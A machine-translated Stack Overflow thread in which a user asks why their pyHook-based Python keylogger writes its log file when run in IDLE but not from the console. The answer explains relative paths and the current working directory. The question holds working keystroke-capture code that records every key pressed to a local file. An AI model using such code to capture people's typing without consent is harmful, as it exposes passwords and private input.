簡體   English   中英

具有open('filename')的Python腳本可用於IDLE,但不能在控制台中使用

[英]Python script with open('filename') works with IDLE but doesn't work in console

我正在嘗試使用python創建這個簡單的鍵盤記錄程序,當我在IDLE中運行時,它的工作正常,但是在控制台中,它不會將日志寫入文件。

import pyHook, pythoncom, sys

log = ''

def OnKeyPress(event):    
    global log
    log += chr(event.Ascii)

    if event.Ascii == 27: # if user press esc
        with open('teste27.txt', 'a') as f:
            f.write(log)                
            f.close()
            sys.exit(0)


#instantiate HookManager class  
new_hook = pyHook.HookManager()
#listen to all keystrokes
new_hook.KeyDown = OnKeyPress
#Hook the keyboard 
new_hook.HookKeyboard()
#start the session 
pythoncom.PumpMessages()

為了對他人有幫助,問題中的問題需要解釋。 具有相對路徑的“ open(filepath)”,例如“ something.txt”,將相對於“當前工作目錄”打開文件。 對於簡單的文件名,這意味着在該當前工作目錄(CWD)中。

當IDLE在編輯器中運行代碼時,它將使新進程的當前工作目錄在其中運行代碼的位置成為代碼目錄。 (IDLE進程的CWD被忽略。)因此,如果您正在編輯r'C:\\ Users \\ henrique \\ Documents \\ Programas \\ Python \\ Keylogger \\ teste27.py',那么打開'teste27.txt'確實會打開r' C:\\ Users \\ henrique \\ Documents \\ Programas \\ Python \\ Keylogger \\ teste27.txt”。

控制台是帶有CWD的正在運行的程序。 對於大多數控制台,默認提示包括CWD。 當您從控制台運行程序時,它將繼承該CWD和該CWD一起運行,除非並且直到程序對其進行更改為止。 一定是您沒有使R'C:\\ Users \\ henrique \\ Documents \\ Programas \\ Python \\ Keylogger \\'成為控制台的CWD,而是通過提供程序的路徑在其他地方運行了該程序:“ python somepath / teste27 .py”。 在您啟動該程序的任何CWD中,您都應該找到一個流浪者“ teste27.txt”。

您可以避免使用正斜杠在路徑中添加“ r”。 'C:/Users/henrique/Documents/Programas/Python/Keylogger/teste27.txt'。 當您給出要運行的程序的路徑時,唯一必須在Windows上使用反斜杠的時間是在控制台中。

當您打開目錄中的多個文件時,另一種有用的解決方案是使該目錄成為CWD。 例如,

import os
os.chdir('C:/Users/henrique/Documents/Programas/Python/Keylogger')

然后,“ open(texte27.txt)”將按您希望的方式工作。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM